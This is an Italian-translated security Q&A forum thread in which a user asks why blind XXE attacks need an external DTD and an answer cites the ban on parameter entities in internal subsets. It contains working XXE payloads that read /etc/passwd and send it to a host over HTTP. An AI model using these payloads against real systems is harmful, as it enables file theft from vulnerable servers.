Perché abbiamo bisogno di dtd esterno in cieco XXE?

0

Un payload cieco XXE corretto è: -

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

Ora non ho capito perché abbiamo bisogno di un DTD esterno. Ho provato a utilizzare questo carico utile sotto come dtd interno.

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % dtdcall SYSTEM 'file:///etc/passwd' > <!ENTITY % test "<!ENTITY server SYSTEM 'http://192.168.0.3:808/?%dtdcall;'>">%test; ]><r>&server;</r>

MA Ho ricevuto un errore: - PEReferences forbidden in internal subset in blah blah .

Quindi qualcuno può spiegarlo?

    
posta janu agrawal 02.11.2018 - 08:14
fonte

1 risposta

0

Infine, dopo aver fatto una ricerca difficile, arrivo a un punto Le entità parametro sono non consentite in sottoinsieme DTD interno , ad es.

<!DOCTYPE r [ Not allow to set parameteried entity.]

Se ho torto, chiariscimi. L'ho letto su questo documento XML .

    
risposta data 02.11.2018 - 13:39
fonte

Leggi altre domande sui tag